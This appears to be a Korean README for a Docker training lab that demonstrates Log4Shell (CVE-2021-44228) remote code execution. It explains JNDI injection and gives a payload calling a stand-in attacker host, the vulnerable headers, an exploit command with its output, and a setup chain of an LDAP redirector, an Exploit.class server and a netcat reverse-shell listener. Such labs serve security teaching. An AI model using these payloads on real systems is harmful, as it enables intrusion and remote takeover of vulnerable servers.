
취약한 Java 애플리케이션, LDAP 리디렉터 및 자동화된 익스플로잇 스크립트를 사용하여 Log4Shell(CVE-2021-44228) RCE 악용을 시연하는 Docker 기반 교육 랩입니다.
면책 조항
이 실습 환경은 보안 교육 및 연구 목적으로만 제작되었습니다. 모든 트래픽은 격리된 Docker 네트워크 내에서 발생합니다. 실제 시스템이나 명시적인 허가 없이 이 자료를 사용하지 마세요. 오용은 범죄가 될 수 있습니다. 책임감 있게 사용하세요.
Log4Shell은 2021년 12월에 Java 애플리케이션에서 널리 사용되는 로깅 라이브러리 Apache Log4j 2에서 발견된 치명적인 취약점(CVSS 10.0)입니다.
Log4j에는 표현식 보간 기능이 있습니다. 메시지를 기록할 때 ${...} 형식의 문자열을 평가합니다. 예를 들어, ${java:version}은 런타임 시 Java 버전으로 대체됩니다.
문제는 JNDI(Java Naming and Directory Interface) 프로토콜 지원에 있습니다. Log4j가 다음과 같은 표현식을 만나면:
${jndi:ldap://atacante.com/exploit}
JVM에 공격자의 서버로 LDAP 조회를 수행하도록 지시합니다. 서버는 원격 Java 클래스에 대한 참조로 응답합니다. 그러면 JVM이 해당 클래스를 다운로드하여 실행하므로 **원격 코드 실행(RCE)**이 발생합니다.
공격 벡터는 간단합니다. 서버에 의해 로깅되는 모든 필드(HTTP 헤더, 양식 필드, 쿠키 등)가 페이로드의 진입점이 될 수 있습니다.
2.0-beta9부터 2.14.1까지2.15.0 버전에서 수정됨(그리고 2.17.0에서 완전히 수정됨)이 랩은 취약한 버전을 사용하는 실제 Java 애플리케이션을 시뮬레이션합니다.
GET http://localhost:8080/log
다음 헤더는 Log4j에 의해 직접 로깅됩니다. 이 중 하나라도 주입 벡터가 될 수 있습니다.
X-Api-VersionUser-AgentX-Auth-Tokenattacker 컨테이너)| 서비스 | 포트 | 역할 |
|---|
docker-compose up --build
로그에 다음이 표시될 때까지 기다리세요:
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds
다른 터미널에서 Node.js 익스플로잇을 실행하세요:
node exploit/exploit.js
예상 출력:
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target : http://localhost:8080/log
[*] Header : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
[+] Response : 200 OK
[+] Body : logged
[+] Payload delivered — check the attacker nc listener on port 9001
docker-compose가 실행 중인 터미널을 확인하세요. attacker 컨테이너 로그에서 포트 9001로 리버스 셸 연결이 들어오는 것을 볼 수 있습니다.
취약한 앱 내부의 touch /tmp/pwned 실행을 확인하려면:
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"
By Guaxinim | Cyber Security Research
| 구성 요소 | 버전 | 취약한 이유 |
|---|
| Apache Log4j | 2.14.1 | 제한 없이 ${jndi:...} 평가 |
| JDK | 1.8.0_181 | trustURLCodebase=false를 설정한 8u191 패치 이전 버전 |
| Spring Boot | 2.5.6 | 웹 프레임워크일 뿐이며, 취약점은 Log4j에 있음 |
| marshalsec (LDAP) | 1389 | JNDI lookup을 수신하고 HTTP 서버로 리디렉션 |
| Python HTTP server | 8888 | 피해자 JVM에 Exploit.class 제공 |
| netcat listener | 9001 | 리버스 셸 연결 수신 |